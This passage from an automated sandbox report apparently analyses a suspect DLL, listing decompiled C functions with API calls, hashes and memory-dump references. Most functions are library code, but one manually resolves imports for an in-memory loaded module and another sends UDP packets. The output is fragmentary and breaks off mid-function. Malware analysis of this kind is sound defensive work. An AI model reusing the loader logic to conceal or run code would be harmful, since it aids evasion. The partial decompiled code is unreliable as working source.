					} else {
						return E1002222C(_t29, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x100223dd
0x100223e0
0x100223e6
0x10022459
0x00000000
0x100223ed
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0x100223f0
0x1002240b
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0x00000000
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0x100223f2
0x1002240a
0x1002240a
0x100223f0

APIs

__cftof_l.LIBCMT ref: 10022401

Part of subcall function 1002222C: __fltout2.LIBCMT ref: 10022256

__cftog_l.LIBCMT ref: 10022427
__cftoe_l.LIBCMT ref: 10022459

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 8dbc0b72f00ea763734ae0c8b1a7260823f108f727578f4f2c9ad294c4834352
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: 4201287A40014ABBCF12AEC4EC41CEE3F66FB18294B958515FE1858531D236D9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 1000FE47, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000FE47(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				void* _t18;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E1000FE47(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E1000FB5C(_t13, _t14, _t18);
						}
						_t10 = E1000FB83(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E1000FE47(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

0x1000fe47
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0x00000000
0x00000000
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0x1000fe69
0x1000febb
0x1000febb

APIs

GetDlgItem.USER32 ref: 1000FE52
GetTopWindow.USER32(00000000), ref: 1000FE65

Part of subcall function 1000FE47: GetWindow.USER32(00000000,00000002), ref: 1000FEAC

GetTopWindow.USER32(?), ref: 1000FE95

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction ID: 3243c1bb31c4da8a8ed3b9d60ce207d24ba739ee5e1db1414c8eeda74806f304
Opcode Fuzzy Hash: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction Fuzzy Hash: 07018F374016AAB7EB229F60CC00AAF3A98EF447D0F018018FD049153AD731DA12BAA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001D6BC, Relevance: 6.0, APIs: 4, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E1001D6BC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x1002fae0);
				E1001984C(__ebx, __edi, __esi);
				_t31 = E1001BF79(__edx, __edi, _t35);
				_t15 =  *0x1005826c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E1001A549(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x10058170; // 0x4a412e8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x10057d48;
								if(__eflags != 0) {
									_push(_t33);
									E10016380(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x10058170; // 0x4a412e8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x10058170; // 0x4a412e8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E1001D757();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E10017DA6(_t25, _t29, _t31, 0x20);
				}
				return E10019891(_t33);
			}

0x1001d6bc
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APIs

Part of subcall function 1001BF79: __getptd_noexit.LIBCMT ref: 1001BF7A
Part of subcall function 1001BF79: __amsg_exit.LIBCMT ref: 1001BF87

__amsg_exit.LIBCMT ref: 1001D6E8
__lock.LIBCMT ref: 1001D6F8
InterlockedDecrement.KERNEL32(?), ref: 1001D715
InterlockedIncrement.KERNEL32(04A412E8), ref: 1001D740

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction ID: ba7e7af5003a78fddfad0021ce05134b2f36e9a59f0d2c47ef46babd1389d2ef
Opcode Fuzzy Hash: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction Fuzzy Hash: 95016D39904A21EBEB41FB65988679D77A4FF05790F11410AE804AF291DB34E9C2CB95

Uniqueness

Uniqueness Score: -1.00%

Function 10001360, Relevance: 6.0, APIs: 4, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E10001360(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				short _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				signed int _t15;
				short _t18;
				intOrPtr _t31;
				signed int _t33;

				_t15 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t15 ^ _t33;
				_v28 = __ecx;
				_t18 = E100174D0(_t31,  &_v24, 0, 0x10);
				_v24 = 2;
				__imp__#11(_a4);
				_v20 = _t18;
				__imp__#9(_a8);
				_v22 = _t18;
				__imp__#20(_a12, _a16, 0,  &_v24, 0x10);
				return E100167D5(_v28, __ebx, _v8 ^ _t33, _a12, _t31, __esi,  *((intOrPtr*)(_v28 + 0x24)));
			}

0x10001366
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0x100013bc
0x100013cf

APIs

_memset.LIBCMT ref: 1000137B
inet_addr.WS2_32(?), ref: 1000138D
htons.WS2_32(?), ref: 1000139B
sendto.WS2_32(?,?,00000002,00000000,00000002,00000010), ref: 100013BC

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: _memsethtonsinet_addrsendto
String ID:
API String ID: 1158618643-0
Opcode ID: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction ID: 4ca8e198367322d4385a70dad1c3d41f0382a071c465ebc2c9307440f54d584b
Opcode Fuzzy Hash: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction Fuzzy Hash: D0017CB590020DABDB00DFA4CC86EAE77B8FF48300F104419F905AB281EB70AA40DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000CCD3, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000CCD3() {
				intOrPtr _t16;
				struct HWND__* _t19;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t29;

				_t28 =  *((intOrPtr*)(_t29 - 0x20));
				_t23 =  *((intOrPtr*)(_t29 - 0x24));
				if( *((intOrPtr*)(_t29 - 0x28)) != 0) {
					E10012913(_t23, 1);
				}
				if( *((intOrPtr*)(_t29 - 0x2c)) != 0) {
					EnableWindow( *(_t29 - 0x14), 1);
				}
				if( *(_t29 - 0x14) != 0) {
					_t19 = GetActiveWindow();
					_t34 = _t19 -  *((intOrPtr*)(_t28 + 0x20));
					if(_t19 ==  *((intOrPtr*)(_t28 + 0x20))) {
						SetActiveWindow( *(_t29 - 0x14));
					}
				}
				 *((intOrPtr*)( *_t28 + 0x60))();
				E1000C6E6(_t23, _t28, 0, _t28, _t34);
				if( *((intOrPtr*)(_t28 + 0x58)) != 0) {
					FreeResource( *(_t29 - 0x18));
				}
				_t16 =  *((intOrPtr*)(_t28 + 0x44));
				return E10017C60(_t16);
			}

0x1000ccd3
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0x1000cd36

APIs

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,E6B5FF6D), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,E6B5FF6D), ref: 1000CD28

Part of subcall function 10012913: EnableWindow.USER32(?,E6B5FF6D), ref: 10012920

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction ID: b9d50a594c6b72ab84edc47d27728691b22d7b2ae70339502ef362fb55dd66ce
Opcode Fuzzy Hash: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction Fuzzy Hash: 97F04F3890071DDBEF12DB64C98599DBBF2FF48781B60002AE442722A5CB326D81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 1000AD21, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1000AD21(void* __ecx) {
				signed int _v8;
				char _v16;
				char _v18;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				long _t14;
				intOrPtr _t15;
				char* _t18;
				intOrPtr _t21;
				intOrPtr _t33;
				signed int _t36;

				_t11 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t11 ^ _t36;
				_t35 = 0x104;
				_t14 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t14 == 0 || _t14 == 0x104) {
					L4:
					_t15 = 0;
					__eflags = 0;
				} else {
					_t18 = PathFindExtensionA( &_v280);
					_t35 = "%s.dll";
					asm("movsd");
					asm("movsw");
					_t32 =  &_v280;
					_t41 = _t18 -  &_v280 + 7 - 0x106;
					asm("movsb");
					_t33 = _t33;
					if(_t18 -  &_v280 + 7 > 0x106) {
						goto L4;
					} else {
						E1000A7B3(_t21,  &_v280, _t33, "%s.dll", _t36, _t18,  &_v18 - _t18,  &_v16);
						_t15 = E1000AA3A(_t21,  &_v280, _t33, "%s.dll", _t41,  &_v280);
					}
				}
				return E100167D5(_t15, _t21, _v8 ^ _t36, _t32, _t33, _t35);
			}

0x1000ad2a
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0x1000adb4

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 1000AD47
PathFindExtensionA.SHLWAPI(?), ref: 1000AD5D

Part of subcall function 1000A7B3: _strcpy_s.LIBCMT ref: 1000A7BF

Part of subcall function 1000AA3A: __EH_prolog3.LIBCMT ref: 1000AA59
Part of subcall function 1000AA3A: GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
Part of subcall function 1000AA3A: GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40

Strings

%s.dll, xrefs: 1000AD63

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3HandlePath_strcpy_s
String ID: %s.dll
API String ID: 3444012488-3668843792
Opcode ID: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction ID: a3b0371864cf8cb86b39257a88ab5a21b33b2e0076ae9bf6281b2400efea00f1
Opcode Fuzzy Hash: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction Fuzzy Hash: AD01F972A00018AFEF08DB74CD45DEE73B8DF46740F4102AAE906D3544EA70AB848662

Uniqueness

Uniqueness Score: -1.00%

Function 10002670, Relevance: 5.2, APIs: 4, Instructions: 181
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10002670(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t133;
				intOrPtr _t138;
				void* _t202;
				void* _t203;

				_v44 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v16 = 1;
				_v12 =  *_a4 + 0x80;
				if( *((intOrPtr*)(_v12 + 4)) != 0) {
					_v8 = _v20 +  *_v12;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t114 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x1c))))(_v20 +  *((intOrPtr*)(_v8 + 0xc)),  *((intOrPtr*)(_a4 + 0x28)));
						_t203 = _t202 + 8;
						_v36 = _t114;
						if(_v36 != 0) {
							_t116 = E10001F00( *((intOrPtr*)(_a4 + 8)), 4 +  *(_a4 + 0xc) * 4);
							_t202 = _t203 + 8;
							_v28 = _t116;
							if(_v28 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v28;
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) +  *(_a4 + 0xc) * 4)) = _v36;
								 *(_a4 + 0xc) =  *(_a4 + 0xc) + 1;
								if( *_v8 == 0) {
									_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v32 = _v20 +  *_v8;
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v32 != 0) {
									if(( *_v32 & 0x80000000) == 0) {
										_v40 = _v20 +  *_v32;
										_t133 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36, _v40 + 2,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t133;
									} else {
										_t138 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36,  *_v32 & 0x0000ffff,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t138;
									}
									if( *_v24 != 0) {
										_v32 =  &(_v32[1]);
										_v24 = _v24 + 4;
										continue;
									} else {
										_v16 = 0;
										break;
									}
								}
								if(_v16 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
								SetLastError(0x7f);
								break;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
							SetLastError(0xe);
							_v16 = 0;
							break;
						}
						SetLastError(0x7e);
						_v16 = 0;
						break;
					}
					return _v16;
				}
				return 1;
			}

0x10002676
0x1000267f
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0x00000000
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0x00000000
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0x00000000
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0x00000000
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0x1000275d
0x00000000
0x1000275d
0x10002707
0x1000270d
0x00000000
0x1000270d
0x00000000
0x1000288b
0x00000000

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,?,?,?,?,10002C4E,00000000,00000000), ref: 100026C5
SetLastError.KERNEL32(0000007E), ref: 10002707

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction ID: 5b18a635dcf056017fd1ee77a603d3a0bb8baed770e763f1765233b10108ec1d
Opcode Fuzzy Hash: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction Fuzzy Hash: 7381BAB4A05209DFDB04CF94C880A9EB7B1FF88354F248159E819AB355D735EE82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1001431B, Relevance: 5.0, APIs: 4, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1001431B(void* __ebx, void* __esi, void* __ebp, signed int _a4) {
				void* __edi;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t10;
				signed int _t11;
				void* _t14;
				intOrPtr* _t15;
				void* _t17;

				_t17 = __ebp;
				_t14 = __esi;
				_t7 = __ebx;
				_t11 = _a4;
				_t20 = _t11 - 0x11;
				if(_t11 >= 0x11) {
					_t4 = E1000A0DB(__ebx, _t10, _t11, __esi, _t20);
				}
				if( *0x1005aac0 == 0) {
					_t4 = E100142F7();
				}
				_push(_t7);
				_push(_t17);
				_push(_t14);
				_t15 = 0x1005ac78 + _t11 * 4;
				if( *_t15 == 0) {
					EnterCriticalSection(0x1005ac60);
					if( *_t15 == 0) {
						_t4 = 0x1005aac8 + _t11 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t15 =  *_t15 + 1;
					}
					LeaveCriticalSection(0x1005ac60);
				}
				EnterCriticalSection(0x1005aac8 + _t11 * 0x18);
				return _t4;
			}

0x1001431b
0x1001431b
0x1001431b
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0x10014320
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0x10014363
0x10014366
0x1001436c
0x1001436c
0x10014373
0x10014373
0x1001437f
0x10014385

APIs

EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction ID: b2ae72b8ab0fae698251e24a42d2174316ff56aad592cf34d272a36c1b8e20b9
Opcode Fuzzy Hash: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction Fuzzy Hash: 05F090739002169BE700DF59CC89A1ABBA9FBC32A5F93011AF14096121DB3199C5CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1001398E, Relevance: 5.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1001398E(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x1005aaa8
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

0x10013990
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0x00000000
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0x00000000
0x00000000
0x100139ac
0x100139b4
0x00000000
0x100139bb
0x100139c2
0x00000000
0x100139c8

APIs

EnterCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013997
TlsGetValue.KERNEL32(1005AA8C,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139AC
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139C2
LeaveCriticalSection.KERNEL32(1005AAA8,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139CD

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction ID: ae8276b6876f5357c50f650584214137971e28de593e3cdb7c29343fae997712
Opcode Fuzzy Hash: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction Fuzzy Hash: 27F012762006529FD710DF65CC8C90B77EDEF84291327D856E84697152D770F856CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5572 Parent PID: 3560 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	13.3%
Signature Coverage:	0%
Total number of Nodes:	353
Total number of Limit Nodes:	25

Executed Functions

Function 10002900, Relevance: 22.8, APIs: 15, Instructions: 331
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E10002900(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				signed short* _v16;
				void* _v20;
				void* _v24;
				long _v28;
				signed int _v32;
				intOrPtr _v64;
				char _v68;
				void* _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				void* _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				void* _t180;
				void* _t191;
				void* _t198;
				void* _t202;
				intOrPtr _t209;
				void* _t220;
				intOrPtr _t269;
				intOrPtr _t278;
				intOrPtr _t326;

				_v100 = __ecx;
				_v72 = 0;
				_v20 = 0;
